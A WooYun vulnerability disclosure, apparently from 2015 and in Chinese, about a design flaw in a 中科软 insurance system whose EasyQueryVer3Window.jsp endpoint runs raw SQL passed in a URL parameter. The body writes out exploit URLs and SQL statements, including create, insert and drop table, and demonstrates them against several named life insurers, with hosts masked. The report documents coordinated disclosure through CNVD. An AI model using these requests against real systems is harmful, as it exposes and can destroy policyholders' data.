当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0157676

漏洞标题:某保险行业通用系统设计缺陷可直接操作数据库获取敏感数据续(影响众多人寿保险)

相关厂商:中科软科技

漏洞作者: 我的邻居王婆婆

提交时间:2015-12-02 18:25

修复时间:2016-03-03 09:24

公开时间:2016-03-03 09:24

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-02: 细节已通知厂商并且等待厂商处理中
2015-12-04: 厂商已经确认,细节仅向厂商公开
2015-12-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2016-01-28: 细节向核心白帽子及相关领域专家公开
2016-02-07: 细节向普通白帽子公开
2016-02-17: 细节向实习白帽子公开
2016-03-03: 细节向公众公开

简要描述:

设计缺陷,增删改查

详细说明:

http://**.**.**.**/bugs/wooyun-2010-0120530续(注意,页面不同)
说一下我的发现过程
以国华人寿为例
在访问国华人寿寿险业务系统http://**.**.**.**/indexlis.jsp时

QQ截图20151202161403.png


系统加载了一个js

http://**.**.**.**/common/easyQueryVer3/EasyQueryVer3.js


其中有一段代码这么写

QQ截图20151202161608.png


//urlStr:查询窗口URL和查询参数
var urlStr = "../common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=" + strSql + "&strStart=" + strStart + "&LargeFlag=" + LargeFlag;
//sFeatures:查询窗口样式
var sFeatures = "status:no;help:0;close:0;dialogWidth:0px;dialogHeight:0px;resizable=1";
var strQueryResult = ""; //查询结果字符串
var arrQueryResult = new Array(); //查询结果数组
var sqlCacheFlag = false;
//检查缓存,缓存存在,返回数据,不存在返回FALSE,则SQL语句无重复,需要进行查询


从中我们得到了一个url

http://**.**.**.**/common/easyQueryVer3/EasyQueryVer3Window.jsp


构造参数
查询当前数据库中行数大于500000的表名

http://**.**.**.**/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs+where+NUM_ROWS+>+500000 &strStart=1&LargeFlag=0


尝试访问

QQ截图20151202161936.png


系统会提示什么关闭页面,我们无视,点否

QQ截图20151202162008.png


空白的页面下隐藏着我们要的数据
请查看源代码,或看请求数据包

QQ截图20151202162052.png


查询结果会返回4次
分别在
window.opener.transferQueryResult
window.opener.afterEasyQueryVer3
window.returnValue
strQueryResult
好怪的设计,值是一模一样的
看数据量大一些的表NUM_ROWS>5000000

http://**.**.**.**/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs+where+NUM_ROWS+>+5000000 &strStart=1&LargeFlag=0


QQ截图20151202162352.png


无语凝噎,数据量果然很大
LCCONTPLANDUTYPARAM 4亿多行,存什么呢
LBCONT-19298087
取前10行

QQ截图20151202162805.png


好多数据,不一一看表了,做人寿的不能以常理视之
直接传sql意味着我们可以直接增删改
增表wooyun

create table wooyun(id number(11) not null)


QQ截图20151202163759.png


插表wooyun

insert into wooyun(id) values(1)


QQ截图20151202163842.png


见证奇迹

select * from wooyun


QQ截图20151202163928.png


返回值有4处,1、1对应
删表wooyun

drop table wooyun


QQ截图20151202164018.png


再查wooyun

select * from wooyun


QQ截图20151202164054.png


这要是把裤子删了,没备份就可以跪了

漏洞证明:

其它案例:
华夏人寿
http://**.**.**.**/ui/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs&strStart=1&LargeFlag=0

QQ截图20151202164220.png


QQ截图20151202164230.png


江泰保险

http://**.**.**.**:7001/ui/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs&strStart=1&LargeFlag=0


QQ截图20151202164344.png


QQ截图20151202164354.png


泛华保险

http://**.**.**.**/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs&strStart=1&LargeFlag=0


QQ截图20151202164444.png


QQ截图20151202164835.png


中荷人寿

**.**.**.**:8443/cusQuery/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs&strStart=1&LargeFlag=0


QQ截图20151202165014.png


QQ截图20151202165046.png


君龙人寿

http://**.**.**.**:8080/kdlins/common/easyQueryVer3/EasyQueryVer3Window.jsp?strSql=select+TABLE_NAME,NUM_ROWS+from+tabs&strStart=1&LargeFlag=0


QQ截图20151202165342.png


QQ截图20151202165350.png


细节不可忽略

修复方案:

补丁

版权声明:转载请注明来源 我的邻居王婆婆@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2015-12-04 16:09

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置;同时转由CNCERT向保险行业信息化主管部门通报。

最新状态:

暂无